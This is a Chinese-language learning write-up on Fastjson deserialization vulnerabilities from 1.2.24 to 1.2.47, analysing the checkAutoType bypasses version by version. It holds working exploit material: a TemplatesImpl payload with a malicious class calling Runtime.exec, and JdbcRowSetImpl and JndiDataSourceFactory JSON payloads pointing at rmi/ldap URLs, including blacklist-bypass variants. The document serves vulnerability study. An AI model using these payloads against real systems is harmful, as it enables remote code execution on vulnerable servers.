记录学习过程,强烈建议仅仅做参考。学习请移至su18,su18yyds.
目录
- Fastjson简介
- Fastjson使用
- Fastjson<=1.2.24反序列化漏洞
- 1.2.25<=Fastjson<=1.2.41
- Fastjson1.2.42
- 1.2.25<=Fastjson<=1.2.43
- Fastjson-1.2.44
- 1.2.25<=Fastjson<=1.2.45
- Fastjson-1.2.47
Fastjson简介
Fastjson是ali的开源JSON解析库,他可以解析JSON格式的字符串。支持将javabean序列化为JSON字符串,童也支持将JSON字符串反序列化为Java Bean。
Fastjson使用
将json反序列化为类
常用方法parse()、parseObject()、parseArray() 。每个方法又有几个重载方法,带有不同参数,具体请查看源码。其中: 类的类型:java.lang.reflect.Type。可以使用@type指定反序列化任意类或者说此属性指定json数据应该被反序列化为什么类型的对象 fastjson功能要点:
1. 使用JSON.parse(jsonString)和JSON.parseObject(jsonString,Target.class),两者调用链一致,parse会在jsonString中解析字符串获取@type指定的类,parseObject会直接使用参数中的class
2. 使用JSON.parseObject(jsonString)将会返回JSONObeject对象,并且类中的set&&get方法都会被调用(指定@type的情况下)
3.fastjson在为类属性寻找get/set方法时,调用com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()方法,会忽略_|-字符串,也就是说就算字段名为_ag_e,getter方法为getAge(),fastjson也可以找到,
Fastjson<=1.2.24反序列化漏洞
漏洞介绍
影响版本:fastjson <= 1.2.24 描述:fastjson默认使用@type指定反序列化任意类,攻击者可以通过 在Java常见环境中 寻找能够构造恶意类的方法,通过反序列化过程中调用的getter|setter方法 和 目标成员变量的注入 来达到传参的目的,最后组成利用链。
fastjson简单体验
-
新建maven项目,引入fastjson依赖
<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.23</version> </dependency>
-
先建一个javabean User.java
/** * @author: 秦始皇 * @date: 10/20/22 15:56 * @description: */ public class User { private String name; public String getName() { System.out.println("getName is running ..."); return name; } public void setName(String name) { System.out.println("setName is running ..."); this.name = name; } @Override public String toString() { return "User{" + "name='" + name + '\'' + '}'; } }
-
用fastjson将json数据反序列化为对象
import com.alibaba.fastjson.JSON; /** * @author: 秦始皇 * @date: 10/20/22 15:58 * @description: */ public class Test { public static void main(String[] args) { String json = "{\"@type\":\"User\", \"name\":\"秦始皇\"}"; Object obj = JSON.parse(json); System.out.println(obj); } }
-
结果
setName is running ... User{name='秦始皇'}
@type起的作用:上面代码(Test)的obj对象是Object类型的对象,但是从输出结果来看是User类型的对象。 terminal输出setName is running,说明整个过程中setName方法也被调用了。
漏洞分析
rmi/ldap利用 java版本限制,因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。
- 基于rmi的利用方式:适用jdk版本:
JDK 6u132
,JDK 7u122
,JDK 8u113
之前。 - 基于ldap的利用方式:适用jdk版本:
JDK 11.0.1
、8u191
、7u201
、6u211
之前
TemplatesImpl
TemplatesImpl类位于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,实现了Serialize接口,因此可以被反序列化。
类中的getOutputProperties()方法是类成员变量 _outPutProperties的getter方法,它调用了newTransformer()方法 newTransformer()方法又调用了getTransletInstance()方法 这个方法中存在一个 _class,是一个Class类型的数组,数组下标为 _transletIndex的类会在getTransletInstance()方法中使用newInstance()实例化 这样调用链就有点眉目了,所以现在看 _class是否可控。findusages有三处调用 看下defineTransletClasses()的逻辑 _bytecodes非空,然后调用自定义classload加载 _bytecode中的byte[],并且如果这个类的父类为ABSTRACT_TRANSLET,就会将类成员属性的 _transletIndex设置为当前循环中的标记位,如果是第一次调用,就是 _class[0],如果父类不是这个类则抛出异常。
这样一条完整的链揪出来了
构造一个TemplatesImpl类的反序列化字符串,其中 _bytecodes是我们构造的恶意类的字节码,而且他的父类是AbstractTranslat,最终这个类会被加载并使用newInstance()实例化 返序列化过程中,由于getter方法getOutputProperties()满足条件,会被fastjson调用,这个方法触发了整个利用链getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()->EvilClass.newInstance
为了满足漏洞点触发之间不退出,还需满足 _name非空,_factory非空。有些私有变量没有setter方法,需要使用Feature.SupportNonPublicField
最终payload
String json8 = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\""+code+"\"],\n" +
" \"_name\": \"klear\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": { },\n" +
"}";
###拿到恶意类字节码
String code = Base64.getEncoder().encodeToString(Repository.lookupClass(xxxx.class).getBytes());
System.out.println(code);
###恶意类
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
/**
* @author: 秦始皇
* @date: 12/13/22 14:39
* @description:
*/
public class vulclassTempl extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public vulclassTempl() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class cls = Class.forName("java.lang.Runtime");
Method method = cls.getMethod("getRuntime",null);
Object obs = method.invoke(null,null);
Method method1 = obs.getClass().getMethod("exec",String.class);
method1.invoke(obs,"open -a Calculator.app");
}
public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
vulclassTempl vulclassTempl = new vulclassTempl();
}
}
1.2.25<=Fastjson<=1.2.41
修复
引入了checkAutoType安全机制,默认关闭,不能反序列化任意类。打开checkAutoType后,基于内置黑名单过滤。
逻辑
看看checkAutoType的逻辑判断流程。
- 如果开启autoType,则会先校验白名单,白名单存在就使用typeUtils.loadClass加载,再匹配黑名单
- 如果关闭autoType,则会先匹配黑名单,再匹配白名单
- 如果开启autoType,使用typeUtils.loadClass加载
绕过(需开启AutoTypeSupport)
这里就出现逻辑问题了,在开启autoType时,只要黑名单匹配不到就可以使用typeUtils.loadClass加载 再看看typeUtils.loadClass 如果className是以L开头,分号结尾的话直接删掉。
所以说@type就出来了,比如jdbc链-> Lcom.sun.rowset.JdbcRowSetImpl;
debug时需要开启autoType: ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1:1099/vulClass",
"autoCommit":true
}
Fastjson1.2.42
修复
使用hash设置黑名单,防止安全研究人员对后续版本进行攻击;对之前使用符号绕过黑名单校验进行了修复
逻辑
checkAutoType中,如果匹配到className的第一个字符是L和最后一个字符是分号的话,使用substring截取className的第二位到倒数第二位
绕过(需开启AutoTypeSupport)
因为使用substring截取className的第二位到倒数第二位,双写 L和分号 即可绕过
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:1099/VulClass",
"autoCommit":true
}
1.2.25<=Fastjson<=1.2.43
修复
1.2.43版本主要修复42版本中双写绕过的问题。在checkAutoType中添加了 如果className开头出现了两个LL将会抛出异常
逻辑
L
和;
被限制了,但是[
也参与了处理,讲道理[
也可以绕过黑名单用。由于1.2.42及以后判断用hash写的,不便于观察,因此使用1.2.25debug。
很明显@type值最前面添加[
即可,添加后提示第46个字符缺少[
添加后提示第50个字符缺少{
绕过(需开启AutoTypeSupport)
payload
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName": "ldap://127.0.0.1:1389/VulClass",
"autoCommit": true"
}
Fastjson-1.2.44
修复
对上个版本中使用[
绕过的问题进行了修复,到这个版本字符绕过黑名单的方式暂时告一段落
1.2.25<=Fastjson<=1.2.45
黑名单:org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
绕过(需开启AutoTypeSupport)
payload
{
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"ldap://127.0.0.1:1389/VulClass"}
}
1.2.25<=Fastjson<=1.2.47
影响版本
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用
分析
版本:fastjson1.2.47
问题还是在com.alibaba.fastjson.parser.ParserConfig#checkAutoType,前面的代码还是对[
,L
,;
的过滤,紧接着为是否开启autoTypeSupport
1.2.47校验逻辑
if (this.autoTypeSupport || expectClass != null) { ##如果开启了autoTyoeSupport
long hash = h3;
for(int i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
##先白名单
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
##再黑名单,如果匹配到黑名单并且缓存中没有这个类的话抛出异常
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
##在TypeUtils.mappings中寻找缓存的class
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
##在deserializers中寻找这个类
clazz = this.deserializers.findClass(typeName);
}
##如果clazz有了值则返回clazz,如果没有 抛出异常
if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
##autoTypeSupport没开启的情况
if (!this.autoTypeSupport) {
long hash = h3;
for(int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long)c;
hash *= 1099511628211L;
##先匹配黑名单,如果匹配到直接抛出异常
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
1.2.32校验逻辑 这里出现了逻辑问题
- 开启autoTypeSupport时:先匹配白名单,匹配到的话直接return clazz;如果没有匹配到则匹配黑名单,当匹配到黑名单并且mappings中没有这个类的缓存的话才会抛出异常。对比1.2.32的校验逻辑,只要匹配到黑名单就会抛出异常。因此1.2.25-1.2.32版本受autoTypeSupport的影响
- 不开启autoTypeSupport时,直接匹配黑名单,匹配到的话抛出异常,后面代码不执行,所以要在判断前下功夫。
判断没有开启autoTypeSupport前有三个if,怎样在这三步中将恶意类加载进去呢。 deserializers:无法写入值,用不了。 TypeUtils.getClassFromMapping(typeName): 从TypeUtils.mappings中取值,他是一个ConcurrentMap类型的对象 能向mappings中赋值的方法 其中,addBaseClassMappings()无入参,无法控制;看下loadclass:
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
##如果clazz为空
} else {
try {
##如果classLoader非空并且cache为true时,使用类加载器加载并缓存到mappings中
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var7) {
var7.printStackTrace();
}
##如果失败或者没指定classLoader 并且cache为true的话,使用当前线程的contextClassLoader来加载并缓存到mappings中
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var6) {
}
##如果还是失败的话,反射获取class对象并放入mappings中
try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var5) {
return clazz;
}
}
} else {
return null;
}
}
所以只要能控制这三个参数,就可以将任意类写入mappings。loadClass有三个重载方法 找三个方法在哪里被调用,再看看能否被控制。(下载源码包) 最终定位到com.alibaba.fastjson.serializer.MiscCodec#deserialze.文件内定位loadClass,发现当strVal有值并且clazz为Class.class时才会进入if,然后类加载并缓存到mappings strVal值怎么获取的呢,原来是json解析val中的内容,然后向上转型成String 原来是json解析val中的内容,然后向上转型成String。 这样一条调用链就完整了,但如何进入if (parser.resolveStatus == 2) {}呢、。 构造一条json调试试试
String json = "{\"@type\":\"java.lang.Class\"," +
"\"val\":\"vulClass\"}";
调用parse进行json解析
调用checkAutoType检查autoTypeSupport
deserializers在初始化时会加载Class.class,所以用findClass会找到,然后return clazz。越过了下面的if (!this.autoTypeSupport) {}
autoTypeSupport检测完后,现在clazz不为空,DedaultHSONParser#parseObject中设置setResolveStatus为2
根据clazz类型分配deserialzer,Class类型由MiscCodec.deserialze()处理
进去MiscCodec跟一下,json解析val中的内容并赋值给objVal
将objVal转化为String类型并赋值给strVal
判断clazz是否为Class.class,是的话加载strVal这个类并缓存到mappings
现在恶意类已经被加载到mappings,再次用恶意类进行@type请求时就可以绕过。所以payload
以上为第一个test解析过程;test2解析时很简单了,mappings中有了缓存,直接从缓存中getClass
然后return clazz -> setResolveStatus(2) -> 根据clazz类型分配deserialzer ......参考之前版本的反序列化流程
payload
{
"test": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"test2": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1389/VulClass",
"autoCommit": true
}
}
Fastjsn<=1.2.68
1.2.76<=Fastjson<=1.2.83
- 待
- 依赖groovy
推荐
https://github.com/safe6Sec/Fastjson
mvn dependency:resolve -Dclassifier=sources